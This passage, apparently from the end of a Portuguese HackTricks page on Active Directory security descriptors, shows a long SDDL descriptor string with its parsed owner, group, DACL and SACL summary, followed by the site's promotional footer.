-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
|
|
Proprietário: BUILTIN\Administrators
|
|
Grupo: BUILTIN\Administrators
|
|
DiscretionaryAcl: {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
|
|
SystemAcl: {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...}
|
|
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|